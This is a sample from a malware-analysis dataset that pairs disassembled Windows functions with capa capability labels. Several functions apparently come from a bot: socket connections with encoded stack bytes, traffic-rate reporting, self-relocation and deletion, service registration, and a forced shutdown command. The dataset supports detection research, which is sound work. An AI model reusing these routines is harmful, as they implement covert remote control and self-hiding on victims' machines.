joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cd10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
lea eax, [esp + 0x90]
lea ecx, [esp + 0x30]
mov dword [0x1019cd50], 0x2313
mov dword [esp], eax
mov dword [esp + 0x2c], ecx
call fcn.1000c4d0
mov ecx, 0x3ec
lea edx, [0x1000c3c0]
mov esi, dword [esp + 0x90]
mov dword [esp + 0x48], esi
mov dword [esp + 0x34], esp
mov esi, dword [0x1019cd3c]
mov dword [esp + 0x5c], esi
mov esi, dword [0x1019cd40]
mov dword [esp + 0x64], esi
mov esi, dword [0x1019cd44]
mov dword [esp + 0x4c], esi
mov esi, dword [0x1019cd48]
mov dword [esp + 0x70], esi
mov esi, dword [0x1019cd4c]
mov dword [esp + 0x54], esi
mov dword [0x1019cd50], 0xd17
mov dword [0x1019cd54], 0xf21
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
jmp 0x1000cdba
mov eax, dword [esp + 0x1c]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jne 0x1000cdf1
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov edx, dword [esp + 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
je 0x1000ce1a
mov eax, 0xfffffb4e
mov dword [0x1019cd50], 0x479
mov ecx, dword [esp + 0x18]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
jmp 0x1000cdba
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov dword [esp + 0x80], eax
mov dword [0x1019cd54], ecx
mov eax, dword [eax + edx + 0x50]
mov dword [esp + 0x3c], eax
call fcn.1000b520
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
jne 0x1000cdb0
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x98]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000b840
mov dword [0x1019cd54], 0x104e
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x1c], eax
jmp 0x1000cdb0
Function at 0x4027fd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov eax, 0x407567
call fcn.00407324
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x1c], 0x2b
mov byte [ebp - 0x1b], 0x7e
mov byte [ebp - 0x1a], 0x15
mov byte [ebp - 0x19], 0x15
mov byte [ebp - 0x18], 0x28
mov byte [ebp - 0x17], 0xae
mov byte [ebp - 0x16], 0xd2
mov byte [ebp - 0x15], 0xa6
mov byte [ebp - 0x14], 0xab
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0x88
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0xcf
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x3c
call fcn.00401000
lea eax, [ebp - 0x44]
xor ebx, ebx
push eax
push 0x4090dc
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 4], ebx
call fcn.00401cfc
push 0x1f91
mov word [ebp - 0x30], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2e], ax
lea eax, [ebp - 0x44]
push eax
call fcn.004021d2
push 9
mov edi, str._ni_d__j_d_n
push 6
push edi
mov dword [ebp - 0x2c], eax
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call sub.MSVCRT.dll_printf
add esp, 0x1c
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x20], eax
nop
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
nop
push 0
call ebx
push 9
push 6
pop ebx
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x30]
push 0x10
push eax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402911
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
jmp 0x402929
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
mov esi, dword [ebp - 0x20]
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00401cf5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x402949
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp + 0xc]
push 4
push eax
push 8
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x402a13
push ebx
push esi
push edi
push 9
push 6
mov edi, str._ni_d__j_d_n
pop ebx
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
mov dword [ebp - 0xc], 1
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x48
mov dword [ebp - 8], 0x2bf20
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
mov dword [ebp - 4], 0x2710
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x30
xor eax, eax
lea ecx, [ebp + 0xc]
push eax
push eax
push ecx
push eax
push eax
lea eax, [ebp - 0xc]
push 0xc
push eax
push 0x98000004
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402f01
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 9
push 6
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call sub.MSVCRT.dll_printf
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
push 4
pop ebp
push 9
push ebx
push edi
mov dword [esp + 0x50], ebp
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x48
mov dword [esp + 0x18], ebp
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [esp + 0x10]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push 0
push str.MHz
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x404004
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x4e8
cmp dword [0x40a87c], 1
jne 0x40401b
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
push ebx
push ebp
push esi
push edi
push 9
push 6
pop ebp
mov ebx, str._ni_d__j_d_n
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push ebp
push esi
call sub.MSVCRT.dll_printf
and dword [esp + 0x28], 0
push 9
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x30
lea eax, [esp + 0x10]
mov ecx, 0x40a850
push eax
call fcn.00407160
push 9
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
fldz
xor eax, eax
lea edi, [esp + 0x3c]
fstp qword [esp + 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 9
pop edi
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x30
lea eax, [esp + 0x1c]
mov ecx, 0x40a850
push 0
push eax
call fcn.00406f5c
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
fld qword [esp + 0x34]
add esp, 0x18
call sub.MSVCRT.dll__ftol
and dword [esp + 0x18], 0
push eax
mov eax, dword [esp + 0x14]
push ecx
mov dword [esp + 0x1c], eax
push ecx
fild qword [esp + 0x20]
fmul qword [0x408218]
fstp qword [esp]
push str._.fKb_bps_d__
lea eax, [esp + 0x108]
push eax
call sub.MSVCRT.dll_sprintf
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x44
mov dword [esp + 0x2c], 0xa
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
lea eax, [esp + 0x110]
push eax
lea eax, [esp + 0x50]
push eax
call sub.MSVCRT.dll_strcpy
push edi
push ebp
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push ebp
push esi
call sub.MSVCRT.dll_printf
add esp, 0x38
lea eax, [esp + 0x2c]
push 0
push 0x18
push eax
push dword [0x40a808]
call dword [sym.imp.WS2_32.dll_send]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4e8
ret
Function at 0x40418a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov eax, 0x40757f
call fcn.00407324
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x1c], 0x2b
mov byte [ebp - 0x1b], 0x7e
mov byte [ebp - 0x1a], 0x15
mov byte [ebp - 0x19], 0x15
mov byte [ebp - 0x18], 0x28
mov byte [ebp - 0x17], 0xae
mov byte [ebp - 0x16], 0xd2
mov byte [ebp - 0x15], 0xa6
mov byte [ebp - 0x14], 0xab
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0x88
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0xcf
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x3c
call fcn.00401000
lea eax, [ebp - 0x44]
xor ebx, ebx
push eax
push str.4798964F49C0FE894C9F6FFD30368738E8F512
lea ecx, [ebp - 0x2f8]
mov dword [ebp - 4], ebx
call fcn.00401cfc
mov ax, word [0x40923c]
mov word [ebp - 0x30], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2e], ax
lea eax, [ebp - 0x44]
push eax
call fcn.004021d2
push 9
mov edi, str._ni_d__j_d_n
push 6
push edi
mov dword [ebp - 0x2c], eax
call sub.MSVCRT.dll_printf
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call sub.MSVCRT.dll_printf
add esp, 0x1c
push ebx
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x20], eax
nop
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
nop
push 0
call ebx
push 9
push 6
pop ebx
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x30]
push 0x10
push eax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4042a0
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
jmp 0x4042b8
push 9
push ebx
push edi
call sub.MSVCRT.dll_printf
push 0x12
push ebx
push esi
call sub.MSVCRT.dll_printf
mov esi, dword [ebp - 0x20]
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00401cf5
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4042fb
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
nop
push 0
call esi
push 9
mov ebx, str._ni_d__j_d_n
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov edi, str._nx_d__y_d_n
push 6
push edi
call sub.MSVCRT.dll_printf
push 0x104
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x104]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x30c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [eax + eax*2]
shl eax, 2
push eax
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push str._s_x
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x40448e
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x208]
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
pop eax
jmp 0x4044a1
push 4
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40450d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ax, word [0x40a7fc]
push esi
push eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
push 0x40a83c
mov word [ebp - 0xe], ax
call fcn.004021d2
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404565
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x404567
mov eax, esi
pop esi
leave
ret
Function at 0x405ff8
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push str.5A9F769FF57B7E1E994A964B211C5F1980FC12
push 0x4090dc
call sub.MSVCRT.dll_strcmp
pop ecx
cmp eax, 1
pop ecx
jne 0x40602e
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.shutdown__s__t_5
call sub.MSVCRT.dll_system
pop ecx
push 0
call sub.MSVCRT.dll_exit
push ebx
push esi
push edi
call fcn.00406121
test eax, eax
je 0x4060ad
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
nop
push 0
call esi
push 9
mov ebx, str._ni_d__j_d_n
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov edi, str._nx_d__y_d_n
push 6
push edi
call sub.MSVCRT.dll_printf
xor eax, eax
add esp, 0x18
mov dword [ebp - 0x10], str.Pqrstua_Cdefgh
mov dword [ebp - 0xc], 0x405a40
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
nop
push eax
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x406118
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
nop
push 0
call esi
push 9
mov ebx, str._ni_d__j_d_n
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
mov edi, str._nx_d__y_d_n
push 6
push edi
call sub.MSVCRT.dll_printf
push str.Pqrs_Uabcdef_Hijklmnopq_S
push str.Pqrstu_Bcdefgh_Jklmnop_Rstu
push str.Pqrstua_Cdefgh
call fcn.0040626f
add esp, 0x24
nop
push 0
call esi
nop
push 0
call esi
push 9
push 6
push ebx
call sub.MSVCRT.dll_printf
push 0x12
push 6
push edi
call sub.MSVCRT.dll_printf
add esp, 0x18
call fcn.004042fb
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x406121
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call esi
nop
push ebx
call esi
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
push eax
lea eax, [ebp - 0x12c]
push eax
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], bl
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
nop
push ebx
call esi
nop
push ebx
call esi
lea eax, [ebp - 0x12c]
push str.Pqrstua_Cdefgh
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
nop
push ebx
call esi
nop
push ebx
call esi
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x12c]
push ebx
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406268
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
push ebx
call esi
nop
push ebx
call esi
push 9
push 6
push str._ni_d__j_d_n
call sub.MSVCRT.dll_printf
push 0x12
push 6
push str._nx_d__y_d_n
call sub.MSVCRT.dll_printf
add esp, 0x18
push 1
pop eax
jmp 0x40626a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407160
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
xor ebx, ebx
push 1
mov edi, ecx
xor esi, esi
push eax
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], ebx
call sub.iphlpapi.dll_GetIfTable
cmp eax, 0x32
je 0x4071af
cmp eax, 0x7a
jne 0x40719f
push dword [ebp - 0xc]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 4], eax
mov esi, eax
lea eax, [ebp - 0xc]
push 1
push eax
push esi
call sub.iphlpapi.dll_GetIfTable
test eax, eax
je 0x4071b6
xor al, al
jmp 0x407280
xor edx, edx
xor eax, eax
cmp dword [esi], ebx
jbe 0x407204
add esi, 4
mov dword [ebp - 8], esi
mov esi, dword [ebp - 8]
mov ecx, 0xd7
lea edi, [ebp - 0x36c]
add dword [ebp - 8], 0x35c
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x144]
mov esi, dword [ebp - 0x12c]
mov dword [eax*4 + 0x40a8a8], ecx
add edx, ecx
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x40a8bc], esi
add ebx, esi
inc eax
cmp eax, dword [ecx]
jb 0x4071c4
mov edi, dword [ebp - 0x10]
mov ecx, dword [0x40a898]
mov esi, dword [0x40a89c]
mov eax, edx
sub eax, ecx
mov dword [0x40a8a0], eax
mov eax, ebx
sub eax, esi
test ecx, ecx
mov dword [0x40a8a4], eax
ja 0x40722d
and dword [0x40a8a0], 0
test esi, esi
ja 0x407238
xor eax, eax
mov dword [0x40a8a4], eax
mov esi, dword [ebp + 8]
mov dword [0x40a898], edx
mov dword [0x40a89c], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi], eax
cmp dword [edi + 0x24], 0
je 0x40725b
and dword [edi + 0x24], 0
jmp 0x407270
call ebx
mov ecx, eax
mov eax, dword [esi]
sub ecx, dword [edi + 0x20]
imul eax, eax, 0x3e8
xor edx, edx
div ecx
mov dword [esi], eax
call ebx
push dword [ebp - 4]
mov dword [edi + 0x20], eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10001014
Capabilities:
Set registry value

Disassembly:
jmp 0x1000eb20
push ecx
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
mov ebx, 1
call fcn.1000123a
mov ebp, dword [esp + 0x1c]
mov esi, eax
add esp, 4
cmp esi, ebx
jne 0x1000eb9c
mov edi, dword [esp + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x10]
push eax
push edi
push ebx
push 0
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1000eb63
xor ebx, ebx
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1000eba0
xor edi, edi
cmp esi, 1
mov eax, str.opening
je 0x1000eb83
mov eax, str.adding
push ebp
push eax
push str.AddAppPathsData:___ERROR__failed__s__s_in_reg_app_paths_
push 7
call fcn.10001433
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
test esi, esi
je 0x1000eb72
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
pop ecx
ret
Function at 0x10001037
Capabilities:
Read .ini file

Disassembly:
jmp 0x10008320
push ecx
mov eax, dword [0x1006ff80]
cmp eax, 2
jb 0x100084fc
cmp eax, 1
jb 0x100084fc
push edi
xor edi, edi
push edi
lea eax, [esp + 8]
push 0x10070220
push eax
mov dword [0x1006ff9c], edi
mov dword [0x1006ffa0], edi
call fcn.10001479
add esp, 0xc
cmp eax, 1
jne 0x10008380
mov ecx, dword [esp + 4]
push str.NoDevConfUI
push ecx
call fcn.100015a0
mov edx, dword [esp + 0xc]
push edx
mov dword [0x1006ff9c], eax
call fcn.1000113b
add esp, 0xc
push 0x10070538
push 0xff
push str.NoDevConfUI
push 0x100700d0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
cmp eax, 0xff
je 0x100083ab
xor edx, edx
cmp eax, 1
sete dl
jmp 0x100083b1
mov edx, dword [0x1006ff9c]
cmp edx, edi
jne 0x100083e1
mov eax, dword [0x100700a8]
xor ecx, ecx
and eax, 7
cmp al, 7
sete cl
push str.BNotify
mov dword [0x1006ff9c], ecx
call fcn.10001186
mov edx, dword [0x1006ff9c]
add esp, 4
and eax, edx
jmp 0x100083e6
mov eax, dword [0x1006ffa0]
mov ecx, dword [0x1006ffd0]
and eax, ecx
and edx, ecx
push ebx
mov ebx, dword [0x100700a8]
mov dword [0x1006ffa0], eax
xor eax, eax
mov ecx, ebx
and ecx, 0x20
cmp ecx, 0x20
sete al
mov dword [0x1006ff9c], edx
mov edx, dword [0x1006ffc0]
mov dword [0x1006ffac], edx
mov edx, ebx
and dl, 0x80
mov dword [0x1006ff94], eax
xor eax, eax
cmp dl, 0x80
setne al
mov edx, ebx
and dl, 8
mov dword [0x1006ff90], eax
xor eax, eax
cmp dl, 8
sete al
cmp ecx, 0x20
mov dword [0x1006ff8c], eax
jne 0x10008490
test bl, 0x40
je 0x10008490
mov edx, dword [0x10070088]
mov dword [0x1006ff98], edi
xor eax, eax
cmp dword [edx + 0xc], edi
jbe 0x10008490
push ebp
push esi
xor esi, esi
mov ebp, dword [edx + 0x10]
cmp dword [esi + ebp + 0xc], 3
je 0x10008479
cmp byte [edx + eax + 0x198], 3
jne 0x10008483
mov dword [0x1006ff98], 1
add eax, 1
add esi, 0x64
cmp eax, dword [edx + 0xc]
jb 0x10008465
pop esi
pop ebp
cmp ecx, 0x20
mov dword [0x1006ffa4], edi
jne 0x100084b7
test bl, 0x40
je 0x100084b7
xor ecx, ecx
and ebx, 0x1000
cmp ebx, 0x1000
sete cl
mov dword [0x1006ffa4], ecx
cmp dword [0x1006ff80], 2
mov dword [0x1006ffe4], 1
pop ebx
jne 0x100084fb
mov dword [0x1006ffa8], edi
mov dword [0x1006ffec], edi
mov dword [0x1006fff0], edi
mov dword [0x1006ffd8], edi
mov dword [0x1006ffdc], edi
mov dword [0x1006ffe0], edi
mov dword [0x10070000], edi
mov dword [0x10070004], edi
pop edi
pop ecx
ret
Function at 0x1000107d
Capabilities:
Delete registry key

Disassembly:
jmp 0x1000e0b0
mov eax, dword [0x10070324]
sub esp, 8
test eax, eax
push esi
mov esi, 1
jne 0x1000e0d6
push str.DestroyShDataKey:_uanble_to_signal_MUTEX_object_
push 3
call fcn.10001433
add esp, 8
pop esi
add esp, 8
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 8]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareAnalog_DevicesIFShare
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [esp + 4]
test eax, eax
je 0x1000e12b
push str.7524D05B_038A_4015_A453_C426CAEB4462
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
je 0x1000e120
xor esi, esi
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x10070324]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
test esi, esi
jne 0x1000e14a
push str.DestroyShDataKey:___ERROR__uanble_to_delete_shared_data_
push 3
call fcn.10001433
add esp, 8
pop esi
add esp, 8
